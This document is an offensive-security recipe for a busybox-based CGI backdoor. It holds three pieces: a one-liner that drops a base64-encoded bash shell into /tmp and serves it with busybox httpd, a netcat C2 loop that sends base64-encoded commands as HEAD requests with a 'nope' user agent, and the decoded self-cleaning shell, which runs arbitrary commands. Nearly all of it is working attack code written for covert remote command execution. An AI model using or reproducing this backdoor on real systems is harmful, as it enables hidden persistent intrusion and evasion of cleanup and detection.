CGI Based Backdoor using Busybox httpd applet:

BUSYBOX_CGI_BACKDOOR

CGI BASED BACKDOOR WITH BUSYBOX:
----------------------------------
mkdir -p /tmp/s/cgi-bin;(base64 -d <<<IyEvYmluL2Jhc2gKaWYgWyAiJFJFUVVFU1RfTUVUSE9EIiA9PSAiSEVBRCIgXSAmJiBbICIkSFRUUF9VU0VSX0FHRU5UIiA9PSAibm9wZSIgXTsgdGhlbgogICAgQz0kKGJhc2U2NCAtZCA8PDwgJFFVRVJZX1NUUklORykKICAgIGlmIFsgIiRDIiA9PSAiZXhpdCIgXTsgdGhlbgogICAgICAgIGVjaG8gIkNsZWFuIgogICAgICAgIHJtIC4vcAogICAgICAgIGtpbGwgJChwZ3JlcCBidXN5Ym94KQogICAgIGZpCiAgICAgZWNobyAkKGJhc2ggLWMgIiRDIikKZmkK)>/tmp/s/cgi-bin/p;chmod +x /tmp/s/cgi-bin/p; busybox httpd -f -p <LPORT> -h /tmp/s/; rm -rf /tmp/s/



C2:
---------------------
COMMAND=''; while [ "$COMMAND" != "exit" ]; do read -p "$ " COMMAND; echo -e "HEAD /cgi-bin/p?$(base64<<<$COMMAND) HTTP/1.0\nHost: \nUser-Agent: nope\n\n" | ncat <LHOST> <LPORT>; done



SIMPLE SELF-CLEANING CGI-BASH SHELL:
-----------------------
#!/bin/bash
if [ "$REQUEST_METHOD" == "HEAD" ] && [ "$HTTP_USER_AGENT" == "nope" ]; then
    C=$(base64 -d <<< $QUERY_STRING)
    if [ "$C" == "exit" ]; then
        echo "Clean"
        rm ./p
        kill $(pgrep busybox)
     fi
     echo $(bash -c "$C")
fi